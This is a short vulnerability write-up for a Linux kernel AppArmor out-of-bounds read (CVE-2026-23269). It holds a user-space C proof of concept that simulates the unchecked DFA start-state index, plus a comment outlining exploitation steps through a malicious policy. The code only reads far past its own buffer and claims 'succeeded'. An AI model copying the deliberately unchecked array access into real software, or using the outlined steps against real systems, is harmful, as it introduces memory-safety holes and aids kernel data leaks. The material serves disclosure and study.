CVE-2026-23269: Linux内核AppArmor DFA边界验证缺失导致越界读取

// CVE-2026-23269 PoC - Malicious AppArmor Policy Database // This PoC demonstrates the out-of-bounds read in unpack_pdb // Note: Requires kernel with AppArmor enabled and policy loading capability #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // DFA state table structure struct dfa_table { uint32_t* base; size_t state_count; }; // Malicious policy start state that exceeds DFA bounds #define LEGITIMATE_STATE_COUNT 100 #define MALICIOUS_START_STATE 0xFFFFFFFF // Out of bounds int main() { printf("CVE-2026-23269 PoC - AppArmor DFA OOB Read\n"); printf("==========================================\n\n"); // Simulate DFA table with limited states uint32_t* dfa_tables[2]; dfa_tables[0] = (uint32_t*)malloc(LEGITIMATE_STATE_COUNT * sizeof(uint32_t)); dfa_tables[1] = (uint32_t*)malloc(LEGITIMATE_STATE_COUNT * sizeof(uint32_t)); // Initialize with dummy data for (int i = 0; i < LEGITIMATE_STATE_COUNT; i++) { dfa_tables[0][i] = i; dfa_tables[1][i] = i + 100; } printf("[*] Simulating malicious AppArmor policy unpacking\n"); printf("[*] DFA state table size: %d states\n", LEGITIMATE_STATE_COUNT); printf("[*] Malicious start state: %u (0x%X)\n\n", MALICIOUS_START_STATE, MALICIOUS_START_STATE); // This simulates what happens in aa_dfa_next() when start state is out of bounds // YYTD_ID_BASE is typically 0 uint32_t YYTD_ID_BASE = 0; uint32_t start_state = MALICIOUS_START_STATE; printf("[*] Attempting to access dfa->tables[%d][%d]\n", YYTD_ID_BASE, start_state); // VULNERABLE: No bounds check before array access // In real kernel, this would trigger KASAN: slab-out-of-bounds uint32_t result = dfa_tables[YYTD_ID_BASE][start_state]; printf("[!] Out-of-bounds read succeeded!\n"); printf("[!] Leaked value: %u\n", result); printf("[!] This would cause KASAN slab-out-of-bounds detection\n"); printf("\n[*] PoC demonstrates that without bounds checking,\n"); printf("[*] malicious start states in policy can cause OOB read.\n"); free(dfa_tables[0]); free(dfa_tables[1]); return 0; } /* * Exploitation steps: * 1. Attacker creates a malicious AppArmor policy with out-of-bounds start state * 2. Policy is loaded via apparmorfs or securityfs interface * 3. unpack_pdb() parses policy and extracts malicious start state * 4. aa_dfa_next() uses start state as array index without validation * 5. Out-of-bounds memory read occurs, potentially leaking kernel data * * Kernel patch adds: bounds checking before aa_dfa_next() call */